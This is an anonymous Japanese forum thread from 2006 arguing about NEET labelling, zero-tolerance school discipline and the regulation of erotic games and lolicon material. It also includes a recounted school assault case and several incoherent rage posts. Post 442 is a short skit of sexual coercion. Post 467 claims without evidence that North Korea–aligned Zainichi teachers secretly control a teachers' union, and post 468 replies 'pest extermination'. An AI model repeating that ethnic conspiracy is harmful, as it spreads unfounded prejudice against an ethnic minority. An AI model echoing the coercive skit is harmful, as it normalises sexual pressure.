甘やかされ放題。自己統治能力、言語などの父性原理に基づいた社会じゃないから
男性の地位はどんどん失墜しております。父性は否定される一方。
おまけに女性優遇社会。
リベラル教育って本来、躾を厳しくしてするものでしょ。
日本は子供の要求を聞き入れてばかり。言語教育を徹底させないと

416 :名無しさんの主張:2006/10/15(日) 09:36:10
「いい加減、目覚めなさい。」
 
「日本という国は、そういう特権階級の人たちが、楽しく、幸せに暮らせる
ように、あなたたち凡人が、安い給料で働き、高い税金を払うことで、成り
立っているんです。そういう特権階級の人たちが、あなたたちに何を望んで
いるか知ってる?今のままずーっとおろかでいてくれればいいの。 世の中
のしくみや、不公平なんかに気づかず、テレビや漫画でもぼーっと見て何も
考えず、会社に入ったら、上司の言うことを大人しく聞いて、戦争が始まっ
たら、真っ先に危険な所に行って戦ってくればいいの。」

417 :名無しさんの主張:2006/10/15(日) 09:52:59
みんなが頑張れば頑張るほど、不況が深刻化する仕組みなのです。
私はこれを「頑張りスパイラル」と呼んでいます。
この原理は、多くの製造業や販売業で当てはまります。
単価の落ちこみを増産でカバーしようとすると、こういう悪循環におちいるのです。

つまり、みんなが目一杯に頑張ってしまうと、
全員共倒れになる危険性があります。
だれかが脱落してホームレスになってくれたおかげで、
残った人が食いつなげるわけでして、勝ち組の人は、
負け組の人に感謝しなければいけない立場にあるわけです。
それなのに、なんですか。
いうにこと欠いて、ホームレスが昼間っから怠けている? 
まったく、近頃は自分勝手な日本人が増えたもんだ。

418 :名無しさんの主張:2006/10/15(日) 09:55:03
ニートというのは、本来学生ではなく正社員でもない若年層失業者のこと。
だから本来の意味に当てはめればニート=フリーター+日本でいうところのニート
この言葉が生まれた背景には、イギリスでサッチャー政権時に強引に新自由主義経済
(小泉がやっていることと同じ事)を推し進めたために若年失業者が大量に
発生し社会問題化したことが挙げられる。
で、ここからが日本と違うところでサッチャー後の保守党政権は国民からの
批判にさらされ(経済を悪化させて失業率を上昇させているのだから当然)
短命で終わり労働党政権は若年失業(ニート)対策に乗り出さざるを得なくなった。
対して日本の場合はニートを生み出した小泉政権は任期満了まで高支持率を維持
したうえに政権に媚びているマスゴミどもは経済政策を批判するどころか
ニートを差別用語として定着させてしまった。

419 :名無しさんの主張:2006/10/15(日) 09:56:15
全体主義、優勢主義的な悪習が蔓延している環境を避けて
隠棲している、それがニート。
お金持っているニートは許せるけど、持ってないニートは許せないなんて考えが
最も良くこの悪習を現している。

420 :名無しさんの主張:2006/10/15(日) 09:59:44
閉鎖的な精神と差別主義
そして優勢主義には困ったものだ。
異質なものを排除して生贄を求める様はカルトにも通じるな。

異常性に取り込まれていながら、取り込まれている事すら理解できずに
ストレスを溜め込む。そして、そのストレスを弱者に向ける。
子供がストレスの捌け口として、虫を潰したり、猫を苛めて殺したりするのと同じだよ
学校教育が考えるという行為を認めてこなかったために金太郎飴しか生まれず、
同じような人間しか生まれなず、自分で考えることが出来ない。だから気づいたら気づいたで
オウムのような新興宗教に取り込まれるエリートが出てくる。
本当に正しいのかを考えずに受け入れる土壌生み出す教育には危機感を覚えるね。
怖いことだ。
子供を飼いならすという教育がこれから行われるみたいだから
ますます排他的で閉鎖的な人間が生まれるのだろう

421 :名無しさんの主張:2006/10/15(日) 10:08:43
@ロリコンと犯罪者を混同している
   「なんで幼女を襲うようなやつを擁護するの?」
A強力効果論を信じている
   「エロ本のせいで犯罪が増える」「エロゲのせいで現実と妄想の区別がつかなくなる」
Bロリコンは危険だと思い込んでいる
   「ロリコンはすぐ犯罪犯すから危険なんだろ」
C資料よりも自分の直感が上
   「でもポルノのおかげで犯罪が減ったとは言い切れないだろ。やっぱり規制した方が良い」
D悪魔の証明を要求する
   「だったら、ロリコンが危険じゃないという証拠を出してみろよ」
E反論を拒絶する
   「なんで必死に正当化してるの? いくら反論しても世間はお前らのこと受け入れてくれないよ」
F相手の意見を歪曲する
   「他に犯罪があるからって、強姦が正当化されるわけないだろ」
G仮定の話を持ち出す
   「万一足を踏み外したときに、被害に会うのが子供だから(ロリコンは)危険なんだろ」
H単なる差別主義者
   「キチガイロリ共は皆殺しにしろ」
I単なる電波
   「なんでロリコンは自分で自分の首を絞めたがるんだ?」

422 :名無しさんの主張:2006/10/15(日) 10:11:52
(1)ロリコンと性犯罪者を混同している
「なんで幼女を襲うようなやつを擁護するの?」

(2)強力効果論を信じている
「エロ本のせいで犯罪が増える」
「エロ漫画やゲームのせいで現実と妄想の区別がつかなくなる」

(3)ロリコンは危険だと思い込んでいる
「ロリコンはすぐ犯罪犯すから危険なんだろ」

(4)資料・統計よりも自分の直感が上
「でもポルノがあるおかげで犯罪も抑えられているとは言い切れない」
「ロリコンの欲望の対象となるものを減らすために規制した方が良い」

(5)悪魔の証明を要求する
「だったら、ロリコンが危険じゃないという証拠を出してみろ」

(6)反論を拒絶する
「なんで必死に正当化してるの? いくら反論しても世間はお前らのこと受け入れてくれないよ」

(7)相手の意見を歪曲する
「他の性犯罪が圧倒的に多いからって、ロリコンが正当化されるわけないだろ」

(8)仮定の話を持ち出す
「万一足を踏み外したときに、被害に会うのが子供だからロリコンは危険なんだろ」

(9)単なる差別主義者
「キチガイロリ共は取り締まるか皆殺しにしろ」

(10)単なる電波
「なんで日本の男はロリコンばかりなのか」

423 :名無しさんの主張:2006/10/15(日) 10:14:48
858 名前: 名無しさんの主張 [sage] 投稿日: 2006/07/12(水) 09:43:02
なぜ飛行機は危険な乗り物扱いされるのか

http://allabout.co.jp/travel/airplane/closeup/CU20010716A/index2.htm

>「アメリカ1国の車による1年間だけの死者の数は
>ライト兄弟が初飛行に成功して以来の全世界の航空機事故の死者よりも多い」

>なるほど。こうした統計があるにもかかわらず
>自動車は危ないから乗らないと主張する人はいない──
>みなさんは、不思議に思いませんか?

今は自動車の話をしてるんじゃないニダ
いくら自動車が危険乗り物だったとしても

ヒコーキが安全な証明にはならないニダ

        r⌒ヽ  (⌒⌒)  r⌒ヽ/,
     、、;(⌒ヾ   ((⌒⌒))  /⌒) ),  ,
   、 ヾ (⌒ヽ ド━ l|l l|l ━ン!⌒⌒);;)/. ,
 、\(⌒ゝ;(⌒ヾ    ∧_∧    ⌒)/)) .,/ ,,
((⌒-丶(;;;(⌒ゝ;;(⌒∩#`Д´>'') ,⌒⌒);;;;;)))⌒)
 (;;;;(⌒(⌒;;;(⌒   ヽ    ノ / ))⌒));;;;)-⌒))
ゞ (⌒⌒=─      (,,フっ.ノ    ─=⌒⌒)ノ;;ノ;;;::)
((⌒≡=─  人从;;;;  レ' ノ;;;从人─=≡⌒)丿;;丿ノ

424 :名無しさんの主張:2006/10/15(日) 10:17:29
一度行われると表現規制緩和があり得ないワケ

@緩和すればそれだけ利益が減る
A警察にとって不利なことを書かれる前に脅しが効く
Bその業界が潰れても寄生先を新たに作ればいい


警察天下りのAV業界とゲーム業界の違い

警察天下りのAV業界
@天下りを受け入れても規制は緩まない
A金に困った女が居る限り簡単に作れてしまう
B893が元締めなので警察も深入りしない
ゲーム業界
@一部の企業以外は自転車操業
A規制でπが減ると倒産が相次ぎ市場が維持不能
B同人でも逮捕のリスクが高ければ発表すら出来ない
C制作に何ヶ月も掛かるエロゲは893も手を出す程
まったく美味しいジャンルではない=エロゲ消滅

425 :名無しさんの主張:2006/10/15(日) 10:19:44
★誰でも分かる「悪法」の見分け方。

@ 拡大解釈しやすい。
A 施行されると法の目的以外で過剰に制限されるものがある。
B 法外な罰則がある。
C 大きな権限を持つ「認定機関」が存在する。
D 「認定機関」に対する罰則が甘く、正常な運用をを監視をする方法が、ほとんど無い。
E 主要な業務は他の機関にマル投げで、何があっても「認定機関」は責任を取らない。
F 施行されても、現状の改善を望めない。(基本的に既存のモノに罰則を加えただけ。)
G 国民の生活に大きな影響を与えるのに、あまり国民に告知されていない。

426 :名無しさんの主張:2006/10/15(日) 10:21:03
規制派主張:アダルトゲームをはじめとする刺激的なメディアは犯罪の要因となりうるので規制すべき。
反対派回答:青少年の犯罪率や凶悪犯罪の発生率は別に増えていない。それどころか割合としては減少している。
     よって、それらメディアが犯罪の要因となるという仮定が成立しない。
     つまり過激メディアが犯罪の要因でなければ規制する必要がない。

規制派主張:それでも規制すれば今より犯罪は減るのではないのか?
反対派回答:米国では1950年代にコミック、60年代にTVの暴力・性表現に関して大がかりな規制を実施したが犯罪率低下には繋がらなかった。
     過激シーンを見せると犯罪率が上昇するという科学的データはどこにもない。

規制派主張:データは無くとも犯罪率低下へつながる可能性もあるのでは?
反対派回答:同じように規制すれば犯罪が増加する可能性もある。
     そもそも規制をした場合の有効性が実証されないかぎり規制すべきではない。

規制派主張:気持ち悪いという不快感を周囲にを与えている事自体が社会悪。
反対派回答:『不快感』を受けるかどうか、またその大きさは人によって違います。
     不快感を与えるというだけで規制をかけるなら同じく「不快を与える(可能性のある)モノ」にも規制をかけるべき。
     「舌をまいた大阪弁」「クリスマスやバレンタインにいちゃいちゃする男女」「ワキガやチビ・ハゲ・デブ」など。

規制派主張:でもなんだかんだ言ってオナニーのオカズが無くなったら困るから騒いでるんでしょ?
反対派回答:規制は成年向けの商品にとどまるとは限りません。現にバイオハザードなどの暴力描写のあるゲームの規制も叫ばれています。
     それが徐々にマンガ・アニメも対象とされるのは目に見えています。

規制派主張:オタクキモイ!氏ね!
反対派回答:死にません。どうか一刻も早く気持ち悪さを受けない場所へ退避される事をおすすめします

427 :名無しさんの主張:2006/10/15(日) 10:21:36
粘着暇人

428 :名無しさんの主張:2006/10/15(日) 10:22:00
【犯罪厳罰化】と【ゾーニングの徹底】が間違っている訳

@犯罪厳罰化は軽い犯罪も重い犯罪も刑がインフレ化していくので逆効果。
A中国では役人の贈収賄は死刑だが、逆に罪が重すぎる為に蔓延している。
B厳罰化した後に2次元規制されたら藪蛇。
Cゾーニングの徹底をした処で未成年の性犯罪が減る訳ではない。
Dそもそもメディアの影響で犯罪を犯すということが悪影響論である。
E「子どもは未熟」として悪影響論を持ち出すのなら実際は子どもの犯罪だらけになる筈である。
F未成年への規制には自己決定権や行為能力の有無、親権についての考慮が必要。
【ゾーニングへの考え方】
精神が未発達として、多くのものに影響を受ける多感な時期である以上、非道徳的、倫理的な
ものはある程度制限して健全な人格形成に勤めようというのは大人の欺瞞である。
何歳なら精神的な発達があると考えるのかという観点でいえば、規制派が大人にも悪影響と
考えている以上、マンガなんかを読んでいる大人は精神未発達であるからマンガなんか規制
して精神発達を促すという考え方も出来る

>>427
自己紹介?

429 :名無しさんの主張:2006/10/15(日) 10:23:36

大抵の未成年は性的メディアをなんらかの方法で触れていると思うが、自分の胸に手をあてて
考えればいい。そういうものに嵌ったとしてすぐ現実のセクロスに結びついたりしている者はそうは
いない。自分が子どもの頃のことを忘れて「子どもの未熟さ」を話す未熟な大人が多くて困る。
大人が隠したり、大人が質問に答えないから隠れて行為を模倣したりセックスそのものに対して
罪悪感を持つようになる。間違った性知識を持たないようにする対策は性教育をしっかりとやること。

基本的に限定効果論ではフィクションによる影響力は限定的で実行力を伴う行為を誘発する程の
影響は無いとされている。強力効果論や限定効果論などの議論と、子どもがポルノに手を出すこと
を同列に語るのは前提として間違っている。

ポルノが青少年に実質的悪影響を及ぼさないとしても、モラルの問題で自主規制による最低限の
ゾーニングは必要。だが、そこに罰則や厳罰があってはならない。素直に「子どもにポルノを見て
ほしくないという大人の欲望」と言えばよろしい。
まさにこれは【モラルの定義】の問題で「子どもの未熟さ」の問題ではない。

430 :名無しさんの主張:2006/10/15(日) 10:25:43
Q.松沢知事は「バーチャルとリアリティーの区別が付かなくなって犯罪に走ってしまうことが多々ある。今の子どもたちにとってゲームソフトが与える影響は大きい」と言ってますが、児童性犯罪者の再犯率のように明確なデータはありますか?
A.データとか、そんなものはない。

Q.全然ないんですか?
A.まったくない。しかし、それは誰しも正しいと思うはずだ。いろんな週刊誌やいろんなニュースやいろんな学者が言っている。

Q.いろんな学者って誰ですか?
A.そんなものの名前はいちいち上げられない。社会全員が言ってるし、親だって子供からそういうものは遠ざけたいはずだし、すべての人の賛同を得られるものだと思っている。

Q.では知事が言っている「区別がつかなくて犯罪が起こる」というのはどういうところからですか?
A.それを見たから犯罪が起こるとか、個別のケースの中でそういう指摘があるものも散見されるが、絶対的な因果関係などは言ってない。
知事がそう言うのは、みなさんがこういうものは良くないと認識しているからだ。

Q.去年売れたソフトの中で有害だと思うものは何ですか?
A.そんなのはいちいち名前を上げられないし、言うのはまずいでしょう。

Q.バイオハザードなどは固有名詞が上がってますが?
A.そんなのは自分たちは言ってない。

Q.再度確認しますが、明確なデータはないんですね。
A.データなんてものはない。全然ない。でも、いろんなところでみんなが言ってるし、そう思ってるし、色んなところでそう書かれている。
以上、県庁代表電話番号(045-210-1111)から青少年課に回してもらっていただいた回答でした。

431 :名無しさんの主張:2006/10/15(日) 10:26:41
●去年、最終的にアニメ・ゲームが原因だった事件はありましたか?
●警察が「君、アニメ見たりゲームしてたよね?それが影響したんじゃない?違うかな?」と聞いたら、容疑者は最初は「そうかも?!」と答える。
●『聞かれたら人は答えるもの。特に曖昧に取れる答え方「そうかも?!」と。』



●しかし、裁判が始まると検察から『本当は別の理由だった事が判明』する。



●『この繰り返し。』
しかし、マスコミは最初の部分しか報道しない。何故ならその後を報道してもセンセーショナルじゃない為に視聴率取れないから。
●推薦図書の様に推薦アニメ・ゲームをした方が建設的。規制からは何も解決しないし税金のムダ。第一、活字は残虐でも犯罪小説でも規制されない。ただ規制しようと考える人・団体はアニメ・ゲームが理解不能だから、こういう建設的発想も出来ないのだろう。



● TVやゲームを買うお金を与えているのは子供ではなく親。親が時間がない為に、TV・ゲームに親との時間の代わりをさせている。



● 『規制しようとする大人は、最初から有害と判断するという目的がある為に、思い込みになり、どんな番組・ソフトでも粗=気に入らない部分が目に付き、=有害だと判断し易い。』
『人の目的による思い込みとはそういうもの。理解しようという心構えがない。』

432 :名無しさんの主張:2006/10/15(日) 10:30:10
ナチスが共産党を弾圧した時、わたしは不安に駆られたが、
自分は共産主義者でなかったから、何の行動も起こさなかった。
その次、ナチスは社会党を弾圧した。
わたしは更に不安を感じたが、自分は社会主義者でないので、何の抵抗もしなかった。
それからナチスは、学生・新聞・ユダヤ人と順次弾圧の輪を広げていき、
そのたびにわたしの不安は増大したが、それでもわたしは行動に出なかった。
ある日、ついにナチスが教会を弾圧してきた。
そしてわたしは牧師だった。だから、行動に立ち上がった。
が、そのときはすべてが、遅すぎた。

433 :名無しさんの主張:2006/10/15(日) 10:37:20
93 名前: マロン名無しさん [sage] 投稿日: 2006/04/27(木) 10:25:22 ID:???
確かにアウターゾーンの『禁書』は見事にこのスレとマッチするな。
禁じられた漫画を所持して子供に見せていた男が裁判にかけられるシーンは興味深い。

「あのような下劣なものを子供に見せて、人格の形成を阻害するのが目的だったと?」
「下劣…?。確かにそうだろう。しかし人間とはそういうものじゃないか。あんたらがいくら建前でつくろってもそれは変わらない。
 ああいう漫画を好むのは人間の自然な姿だ」
「だ、黙りなさい!。子供を健全で素直で良い子に育てるためには、ああいう不健全なものは見せてはならないのです!」
「人間の本質を何も知らされないで育つ方が、よっぽど子供にとっては悪影響だ…。
 子供の人格を壊してるのは『あんた達』の方だよ…」

「子供は我々が考えているよりずっと『大人』なんだ。あんた達も昔は子供だったのに何故それが分からない…」

434 :名無しさんの主張:2006/10/15(日) 10:46:58
ゼロトレランスのモデルになった管理教育全盛期の愛知県は、
少年問題が少なく平和でしたか?

435 :名無しさんの主張:2006/10/15(日) 10:49:44

□■□■□■□■□■□■□■□■□■□■

    歴史は―― おおかた悪い支配者と
.   バカな兵士とによって惹起 された
     主に取るに足りない出来事に関する
      おおよそ間違っている記述

   この現実を私達は見つめなおさねばならない

〜真実は誰も知らない、歴史は常にバイアスを掛け語られる〜

   歴史に名を残したニートを挙げるスレ

                 世界史@2ch掲示板
□■□■□■□■□■□■□■□■□■□■

436 :名無しさんの主張:2006/10/15(日) 10:51:07
ttp://www.amazon.co.jp/exec/obidos/ASIN/4334033377

「ニート」言説という靄(もや)が二〇〇〇年代半ばの日本社会を覆い、視界を不透明にしている。
この靄の中で日本社会は誤った方向に舵(かじ)を切ろうとしている。「ニート」言説は、一九九〇
年代半ば以降ほぼ十年間の長きにわたり悪化の一途をたどった若年雇用問題の咎(とが)を、
労働需要側や日本の若年労働市場の特殊性にではなく若者自身とその家族に負わせ、若者に
対する治療・矯正に問題解決の道を求めている。(中略)もう我々を惑わす「ニート」という言葉は
使うべきではない。「ニート」って言うな!(「はじめに」より)

------------------------------------------------------------------------------------

働く意欲のない「ニート」は10年前から増えていない
ttp://jinjibu.jp/GuestIntvw.php?act=dtl&id=41

437 :名無しさんの主張:2006/10/15(日) 10:52:12
369 名前: 世界@名無史さん 投稿日: 2006/08/17(木) 19:41:42
「ニート」って言うな! 発売 〜2冊目〜
ttp://www.amazon.co.jp/exec/obidos/ASIN/4334033377

370 名前: 世界@名無史さん 投稿日: 2006/08/18(金) 02:28:23
いわゆる保守派のなかにはこの本のタイトルを聞いただけで、激しく反発する人がいるってウワサ聞いた。どーして?

373 名前: 世界@名無史さん 投稿日: 2006/08/18(金) 11:45:39
>>370
ニート=甘ったれたバカガキが急増している。
これは共同体よりも個を重んじるサヨ教育によって
起こった弊害だ。これを正すためには、
ガキどもをより厳しく管理して共同体への
服従を徹底的に叩き込むべきである。

これが保守派の論理だからね。ニートは社会構造的な問題であり、
若者に限った問題でもなければ増加もしていない、
という現実を突きつけられれば、自分達の願望を満たす
邪魔になるんだよ。

375 名前: 世界@名無史さん 投稿日: 2006/08/18(金) 12:36:26
>>373
「ニート」レッテル屋はそういう分かり易い保守派の論理を前面に出さず、
自立支援とか格差化とかいう言葉を引っさげて、もうちょっと巧妙な
言い回しをするからややこしい。

438 :名無しさんの主張:2006/10/15(日) 10:54:12
62 名前: 世界@名無史さん 投稿日: 2006/02/10(金) 23:26:42 0
>>51
日本版NEETの先行商品は、学生アパシーにヒントを得て
不登校の大人版とした稲村博医師による「無気力症」だよ。
この概念が斎藤環という人に受け継がれて「社会的ひきこもり」とされた。

63 名前: 世界@名無史さん 投稿日: 2006/02/11(土) 22:25:39 0
ニートや社会的ひきこもりというレッテルをつくりだすことによって、
マスコミを通じ社会全体にパノプティコンの網をかけ、彼らを絡めとって
常に社会から監視される客体へと吊るし上げることができる。

76 名前: 世界@名無史さん [sage] 投稿日: 2006/02/17(金) 13:33:40 0
パラサイトシングル、引きこもり、オタク、ネットウヨ、ニート、フリーター
次にどんなレッテル貼られるか予想しよう

439 :名無しさんの主張:2006/10/15(日) 10:55:35
166 名前: 世界@名無史さん 投稿日: 2006/02/10(金) 17:09:08 0
最近この人の「ニートって言うな!」読んだ。
若者自立塾などの政策を「幼児プレイ」と切り捨てるのは爽快! ていうか、そういう当たり前の指摘が
これまでTVなどでぜんぜん出されていなかったことのほうがおかしいわけだけど。

そう、ニート対策って、人を3〜6歳児扱いする案だよね。
日本の年功序列に、西洋近代的な進歩主義(生物の進化・社会の進歩・個人の成長がセットにされており、
個人は中世的な暗黒時期をすぎなければ人格形成できないとする発想。後進国・地域・障害者などには
不利かつ侮蔑的)が接木された結果じゃないかな。

440 :名無しさんの主張:2006/10/15(日) 11:02:49
900 名前: 名無しさん 投稿日: 2006/10/01(日) 14:30:08 0
>>863
「ヒトと同じ」でないとオカシイ(異常・遅れ」と観る強迫観念が
「親や教育現場の教師、近所社会や世間全般」を包囲しており

子供の持つ固有の感覚やリズム(ひとり一人の喜びの在り方)を無視し
「同年齢なら同じ場所で同じ事をしてなくちゃいけない」というまるで
ブロイラーみたいな暮らしを子供に迫るという暴力を侵しているのよね

それをよく分析してみると、その対象は子供どころか実は大人に至るまで
死ぬまで続いてることがわかる

441 :名無しさんの主張:2006/10/15(日) 11:09:13
>>430

  /'           !   ━━┓┃┃
-‐'―ニ二二二二ニ>ヽ、    ┃   ━━━━━━━━
ァ   /,,ィ=-;;,,, , ,,_ ト-、 )    ┃               ┃┃┃
'   Y  ー==j 〈,,二,゙ !  )    。                  ┛
ゝ.  {、  - ,. ヾ "^ }  } ゚ 。
   )  ,. ‘-,,'   ≦ 三
ゞ, ∧ヾ  ゝ'゚       ≦ 三 ゚。 ゚
'=-/ ヽ゚ 。≧         三 ==-
/ |ヽ  \-ァ,          ≧=- 。
  ! \  イレ,、         >三  。゚ ・ ゚
  |   >≦`Vヾ        ヾ ≧
  〉 ,く 。゚ /。・イハ 、、     `ミ 。 ゚ 。 ・

442 :名無しさんの主張:2006/10/15(日) 11:30:18
俺「ねぇ隆ちゃん、ミルク飲みたくない?」
神「のみたいですね」
俺「じゃあしゃぶって」
神「……」
俺「しゃぶると出るから」
神「……」
俺「しゃぶると出るから」
神「……」
俺「しゃ ぶ る と で る か ら 」
神「…………はい……」

443 :名無しさんの主張:2006/10/15(日) 11:38:58
>>50
なんじゃこりゃ寒気がする…

444 :前スレ813:2006/10/15(日) 12:10:53
>>443
愛知県の東郷高校や岡崎市の小中学校などで現実行われていた生徒指導が
海を渡って広まった結果ですが何か?

前スレでも書いたが、経済の低迷にあえぎ、凶悪犯罪が蔓延していた80年代当時のアメリカにとって
経済状況が飛ぶ鳥を落とす勢いで、治安が良く、教育現場での管理や統制がとれていた
日本の教育現場の存在はまさに脅威だったわけなのよ。その是非はともかくとしてね。

445 :名無しさんの主張:2006/10/15(日) 12:14:02
>>444
消えろ
人でなし

446 :名無しさんの主張:2006/10/15(日) 12:18:51
>>444
もう二度と来るな

447 :名無しさんの主張:2006/10/15(日) 12:56:48
>>444みたいなのはスルーで

448 :名無しさんの主張:2006/10/15(日) 13:04:31
須賀川市立第一中学 柔道部リンチ事件
事件の簡単なあらまし(両親の生徒からの聞き取り報告&TV報道)

事件当日1
10/18 1回目の乱取りを始める。部長は1年生に負け、足を痛めてカッカしていた。
A子は足の痛みがひどくなり、途中で休憩を取る。それを見て部長(少年S)は激怒した。
A子の襟をつかみ、引きずり出した。『いやです。いやです』と言ったが、数回投げつけた。
その後、柱に数回怒鳴りながら叩き付けた。その際、柱に頭部を打ち付けた。その後、
体を持ち上げるようにして数回頭から叩き付けた。他の部員はその様子をイジメを超えた
リンチだと思ったほどだ。恐ろしくて止めに入れなかったし、自分が何をされるか分からず、
怖かった。その後は、部長はイスに座り、A子を正座させ、説教した。『反省文を原稿用紙
800字で書いてこい』と言う。そのうちA子は『頭が痛い』と泣き、うつ伏せになった。
部長は『大袈裟に泣くなら救急車を呼ぶぞ』と怒鳴り、泣いているA子の襟をつかみ、
廊下に向かって引きずり出した。その途中で容体が急変し、意識がなくなり、口から
よだれが出て呼吸困難に陥った。

事件当日2
母親が学校へ駆けつけると被害者は失禁、意識不明、呼吸困難で横たわっていた。この時の
学校の説明は「お子さんが休憩中に一人でに倒れた。頭は打っていない」
このとき男性教諭が現れ「今救急車を呼んだ」と言う。母親到着前後になってようやく救急車を
呼んだ模様。病院に運ばれ医師から『左側頭部急性硬膜下出血』でおそらく助からないと
告げられる。学校から「頭は打っていない」と言われていた母親は医師のいう事が理解
できなかった。ちなみに被害者少女の脳は、出血による圧迫のため通常の半分になっていた。
8時間に及ぶ手術により一命を取り留めたが、意識は戻らず、現在に至る。なお、手術をおこなった
担当医は校長に対し、開口一番こういったという。「してはいけないことをしていましたね」
また「こんなことになるまでどういう指導をしてきたのか」と校長を叱責した。

http://www5d.biglobe.ne.jp/~yuribeya/sukagawa.htm

449 :名無しさんの主張:2006/10/15(日) 13:10:21
絶対に許さんぞゼロトレランス厨

450 :名無しさんの主張:2006/10/15(日) 13:27:00
>>1
バカが、その真逆の実験やってどうなってるか知ってるか?知るわけないよな

451 :名無しさんの主張:2006/10/15(日) 13:29:27
絶対に許さんぞゼロトレランス厨

452 :名無しさんの主張:2006/10/15(日) 13:44:12
>>402
最低だコイツ

453 :名無しさんの主張:2006/10/15(日) 13:47:19
ゼロトレランス導入するほど腐った社会ならいっそ滅んでしまえ
滅びろ
滅びろ
滅びろ

454 :名無しさんの主張:2006/10/15(日) 13:48:30
>>50
>>20

気持ち悪い

455 :名無しさんの主張:2006/10/15(日) 13:52:27
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456 :名無しさんの主張:2006/10/15(日) 13:53:31
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ゼロトレランスはゴミ ゼロトレランスはクソ ゼロトレランスはカス ゼロトレランスはクズ

458 :名無しさんの主張:2006/10/15(日) 14:02:18
ゼロトレランスは絶対に許さない

459 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 14:09:43
アメリカのゼロトレランスといっても、教員は、銃や覚せい剤の見回りぐらいしかやりません。

普通の人は別に影響受けないね。

コンドームを持っていても別に構わないし。というか持っていないといけないし。

460 :名無しさんの主張:2006/10/15(日) 14:10:48
ゼロトレランスはゴミ ゼロトレランスはクソ ゼロトレランスはカス ゼロトレランスはクズ
ゼロトレランスはゴミ ゼロトレランスはクソ ゼロトレランスはカス ゼロトレランスはクズ
ゼロトレランスはゴミ ゼロトレランスはクソ ゼロトレランスはカス ゼロトレランスはクズ
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ゼロトレランスはゴミ ゼロトレランスはクソ ゼロトレランスはカス ゼロトレランスはクズ

461 :名無しさんの主張:2006/10/15(日) 14:17:37
絶対にチュルッサsんぞゼロトレランス
折れたアロ李jコンを迫害した上に社会への服従を教養石屋じゃhガって
いい加減にしろ俺の大好きな挙げーむっをがんっじが螺県内k氏rウィ視しjjるkd
PTSsjmb秦mjmsdjvmdjskヴぁksjsf化msmjへチュジャル愛k死ね

462 :名無しさんの主張:2006/10/15(日) 14:19:56
折れたjj堀st家尾jんへの亜shふぇs個んあgんヴぁおrjgv者者kヴぁか異年ヘアksjき
言い陰に意思に呂
ふあzsんウェアやガって何が税路チリ編むだtコアmmsjhjんksjsy高ウンは七浮かしてくれtルトjmお
ニー地fmcじゃd巣費違反で魔塩が李sk魏じぇ里加減に白いj死死死sjjgv氏gぬhjんfvjkシック去腐っく気

463 :セニョール・五十嵐 by mobile ◆40WnEtzSeY :2006/10/15(日) 14:20:02
Are you more tolerant above 'the groud zero' ?
I'm an American joker.

464 :名無しさんの主張:2006/10/15(日) 14:22:26
絶対にtyhちううさんぞ俺の大好きj間かゲームをh癌時柄面い規制慕う熟れsんい
例おたちtロイコンを吐くが火氏tれおれkmな汝が社会への功k年だぼけなづ
言い陰煮に日誌ロコの】くっず野郎異

465 :名無しさんの主張:2006/10/15(日) 14:26:03
湯r差ないユルs内亜ニュるサない揺る朝に許さないyるんさ無い揺るsだ内許さないユルs打差に由居る左内許さない
折れたcんひろリコンを這う害して俺ノ大スきなゲームを規制しあkyっ田植えrにニーと魔女狩りして
しかもダイs区srっ子供達をゼロrr取れランすとかいうクソな制度でm穢そうとしやガって
絶対に許さんぞここまでふざけたことやっと居て七位がk者社会への貢献だk巣尾野郎が

466 :名無しさんの主張:2006/10/15(日) 14:29:44
あああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああ
クソ糞糞ky祖糞糞kすそ糞窮鼠糞k巣尾糞糞糞窮鼠糞琥sお糞糞糞
いいかgねにんにしろいい加減にしろいい加減にsいろ
絶対にそんなことっさセルか絶対に子供達を助けてy多ryぞ

467 :名無しさんの主張:2006/10/15(日) 14:32:31
教員指導及び質向上は有事には弾圧と化す 覚悟


神奈川県教師のうち、日教組の組合員は90%(全国平均は30%)を占める。 

N女史によると神奈川県では北朝鮮系在日教師が日教組を事実上支配し、
在日の北系教師が年々増えているのは確かだという。

朴甲東氏(金日成時代の元幹部)によると、
毎年北系の若い在日が万景峰号で北朝鮮に送り込まれ、
徹底した反日教育を受けているという。

洗脳された若い在日が北系のコネで年々教師に採用され、
日本の一部勢力は将来巨大な反日勢力になると指摘した。

468 :名無しさんの主張:2006/10/15(日) 14:35:43
ん〜 二本頑張ってるよね この調子で日本の伝統と威信を守るのじゃ
害虫駆除

469 :名無しさんの主張:2006/10/15(日) 14:36:16
絶対にゆる産ぞゼロトリアムd
おれが孫アン腐った制度部地位k添え和してやる
子供wたちをキチガイkジャルとかえらb守ってやりゅ
k字音の尊厳をはくsgはいしテイ置いて何荷が社会への貢献cだ
そんな腐った社会jは滅んdねkしまえホロんd根しまえ滅びrお
以下絵g人しろ糞が

470 :名無しさんの主張:2006/10/15(日) 14:41:33
xっ絶対に揺るdさんぞゼロとリアmう
散々取れた地を馬鹿にしておいてまだそんな腐った制度まで取り入れて個人の孫減をしんがいしようとしやがって
許せない絶対に許せない絶対に許さないそんな腐ったゼロ問いラムによりすがり屋下駄t
折れた知恵ロイコンを迫害して俺のダイs区sキナゲームwyやアニメrを散在に規制がんいかがラメにしやがって
絶ったひn許いさない

471 :名無しさんの主張:2006/10/15(日) 14:42:57


目と脳が非常に疲れるんですが・・・




472 :名無しさんの主張:2006/10/15(日) 15:57:10
アメリカの管理教育は日本の場合とは導入される意味合いが違う。
銃の持ち込み(乱射事件)、麻薬の売買など
学校が”犯罪の温床”になっているとの非難から
導入された経緯がある。他の理由も当然付け加えてあるが
結局は子供の命を守るってとこから来てるんだよ。
授業が成立する・しないの日本レベルの話では無いんだよ。
日本レベルの話では効果など上がってない。
だから親たちは公立から私立に転校させる。
しかもアメリカの管理教育の欠点は
学校の外を出れば社会の環境は何も変わってない点だ。
ここが一番大事なんだよ。

473 :名無しさんの主張:2006/10/15(日) 16:08:43
472に付け加えると
アメリカは格差社会で所得差によって
住居も住み分けられている。
低所得層の住む地域では
学校は以前から”犯罪の温床”になっていた
だが、それは放置してきた。
それが中流層の家庭が住む地域の学校まで
伝染してきたことを政府は危惧しただけに過ぎない。

474 :名無しさんの主張:2006/10/15(日) 16:27:10
>>467 ・・・と言うことは神奈川の公立校で教育を受けた人は
洗脳されてるってことなのか? 
なんせ日教組の組合員が90%を占めるわけなんだから。
神奈川の選挙区は共産党が強いのか?
北朝鮮に同情的な人が多いわけ?


475 :名無しさんの主張:2006/10/15(日) 17:20:25
そもそも日本の管理教育はロボットを量産するための教育だからな

